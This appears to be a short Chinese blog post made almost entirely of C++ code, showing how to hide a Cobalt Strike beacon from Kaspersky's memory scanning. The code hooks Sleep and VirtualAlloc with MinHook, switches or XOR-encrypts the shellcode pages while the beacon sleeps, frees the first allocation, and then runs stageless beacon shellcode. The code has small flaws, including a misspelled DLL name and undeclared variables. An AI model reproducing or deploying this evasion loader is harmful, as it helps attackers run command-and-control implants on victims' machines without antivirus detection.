再谈cobalt strike bypass 卡巴内存检测

#include "hook/inline/minhook/include/minhook.h"PVOID g_DwSleep,g_DwVirtualAlloc;typedef VOID(WINAPI *pSleep)(  _In_ DWORD dwMilliseconds);pSleep oldpSleep = NULL;
typedef LPVOID(WINAPI* pVirtualAlloc)(  _In_opt_ LPVOID lpAddress,  _In_     SIZE_T dwSize,  _In_     DWORD flAllocationType,  _In_     DWORD flProtect  );pVirtualAlloc oldpVirtualAlloc = NULL;
BYTE* g_FirstAddr = 0;BYTE* g_PageAddr = 0;DWORD g_PageSize = 0;VOID WINAPI NewSleep(  _In_ DWORD dwMilliseconds){  if (g_FirstAddr)  {    VirtualFree(g_FirstAddr,0,MEM_RELEASE);    //卸载VirtualAlloc hook    MH_DisableHook((LPVOID)g_DwVirtualAlloc);    g_FirstAddr = 0;  }  if (GetCurrentThreadId() == g_ThreadId)  {      //如下两种方式都可绕过    DWORD dwOld;    VirtualProtect(g_PageAddr, g_PageSize, PAGE_READWRITE, &dwOld);        //sleep前后直接加密内存        /*for (size_t i = 0; i < g_PageSize; i++)    {      g_PageAddr[i] ^= 0x11;    }*/    oldpSleep(dwMilliseconds);    VirtualProtect(g_PageAddr, g_PageSize, PAGE_EXECUTE_READWRITE, &dwOld);    /*for (size_t i = 0; i < g_PageSize; i++)    {      g_PageAddr[i] ^= 0x11;    }*/  }  else  {    oldpSleep(dwMilliseconds);  }}
LPVOIDWINAPINewVirtualAlloc(  _In_opt_ LPVOID lpAddress,  _In_     SIZE_T dwSize,  _In_     DWORD flAllocationType,  _In_     DWORD flProtect){  LPVOID pret = oldpVirtualAlloc(lpAddress,dwSize,flAllocationType,flProtect);    g_PageAddr = (BYTE*)pret;  g_PageSize = dwSize;  return pret;}void bypassKasper(){  HMODULE h1 = GetModuleHandleW(L"kernelbase.dll");  if (h1 == NULL)  {    h1 = GetModuleHandleW(L"kernl32.dll");  }  oldpSleep = (pSleep)GetProcAddress(h1, "Sleep");  oldpVirtualAlloc = (pVirtualAlloc)GetProcAddress(h1, "VirtualAlloc");  g_DwSleep = oldpSleep;  g_DwVirtualAlloc = oldpVirtualAlloc;    if (MH_Initialize() != MH_OK)  {    return;  }  MH_STATUS ns1 = MH_CreateHook((LPVOID)g_DwSleep, &NewSleep, reinterpret_cast<LPVOID*>(&oldpSleep));  MH_STATUS ns2 = MH_EnableHook((LPVOID)g_DwSleep);
  MH_STATUS ns3 = MH_CreateHook((LPVOID)g_DwVirtualAlloc, &NewVirtualAlloc, reinterpret_cast<LPVOID*>(&oldpVirtualAlloc));  MH_STATUS ns4 = MH_EnableHook((LPVOID)g_DwVirtualAlloc);

BYTE* bData = (PBYTE)VirtualAlloc(NULL, sizeof(Beacon_Shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);pShellFunc pFunc = (pShellFunc)bData;//执行之前pass卡巴g_ThreadId = GetCurrentThreadId();g_FirstAddr = bData;//这部分区域在hook的sleep中释放掉，否则也会被内存特征bypassKasper();pFunc();//执行stageles的shellcode